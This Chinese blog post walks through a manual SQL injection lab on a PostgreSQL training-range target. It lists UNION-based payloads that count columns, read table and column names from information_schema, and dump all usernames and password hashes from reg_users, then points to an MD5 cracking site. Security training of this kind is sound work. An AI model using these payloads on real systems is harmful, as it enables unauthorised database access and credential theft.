墨者:通过手工解决SQL手工注入漏洞测试(PostgreSQL数据库)

一、SQL手工注入漏洞测试(PostgreSQL数据库)

本文以墨者学院靶场为例,演示PostgreSQL数据库的手工SQL注入全过程。以自己的靶场地址为准:http://124.70.71.251:47767/new_list.php?id=1

二、注入步骤详解(如下指令去掉了id之前的内容)

1. 判断字段数量

sql 复制代码
id=1 order by 5

通过不断递增order by后的数字,当报错时说明超出字段数。本例中order by 5报错,说明字段数小于5。

2. 确定回显位置

sql 复制代码
id=-1 union select null,'null','null',null 

使用null占位,发现第2、3列会回显数据。

3. 获取数据库名称

sql 复制代码
id=-1 union select null,current_database(),'null',null 

使用PostgreSQL的current_database()函数获取当前数据库名。

4. 获取所有表名

sql 复制代码
id=-1 union select null,string_agg(table_name,','),'null',null from information_schema.tables where table_schema='public'

使用string_agg()聚合函数,一次性获取public模式下的所有表名。

5. 获取字段名称

sql 复制代码
id=-1 union select null,string_agg(column_name, ','),'null',null from information_schema.columns where table_schema='public' and table_name='reg_users'

查询reg_users表的所有字段名,用逗号分隔显示。

6. 获取账号密码

sql 复制代码
id=-1 union select null,string_agg(name, ','),string_agg(password, ','),null from reg_users

一次性获取所有用户名和密码,分别显示在第2、3列。

7. MD5解密后,手动登录,获取Key

MD5工具地址:https://www.cmd5.com/

三、关键指令解析

指令/函数 说明 示例
order by 判断查询结果的列数 order by 5
union select 联合查询获取数据 union select 1,2,3
current_database() 获取当前数据库名 select current_database()
information_schema.tables 系统表存储所有表信息 select * from information_schema.tables
information_schema.columns 系统表存储所有列信息 select * from information_schema.columns
string_agg() PostgreSQL的字符串聚合函数 string_agg(name, ',')
table_schema 指定数据库模式(相当于MySQL的database) where table_schema='public'
相关推荐
ChinaRainbowSea4 分钟前
7. LangChain4j + 记忆缓存详细说明
java·数据库·redis·后端·缓存·langchain·ai编程
小马学嵌入式~1 小时前
嵌入式 SQLite 数据库开发笔记
linux·c语言·数据库·笔记·sql·学习·sqlite
Java小白程序员2 小时前
MyBatis基础到高级实践:全方位指南(中)
数据库·mybatis
Monly212 小时前
人大金仓:merge sql error, dbType null, druid-1.2.20
数据库·sql
不宕机的小马达2 小时前
【Mysql|第一篇】Mysql的安装与卸载、Navicat工具的使用
数据库·mysql
float_六七2 小时前
数据库连接池:性能优化的秘密武器
数据库·oracle·性能优化
码界奇点2 小时前
MongoDB vs MySQLNoSQL与SQL数据库的架构差异与选型指南
数据库·sql·mongodb·系统架构
IT 小阿姨(数据库)2 小时前
PgSQL中pg_stat_user_tables 和 pg_stat_user_objects参数详解
linux·运维·数据库·sql·postgresql·oracle
倔强的石头_2 小时前
Windows系统下KingbaseES数据库保姆级安装教程(附常见问题解决)
数据库
麦兜*3 小时前
MongoDB 常见错误解决方案:从连接失败到主从同步问题
java·数据库·spring boot·redis·mongodb·容器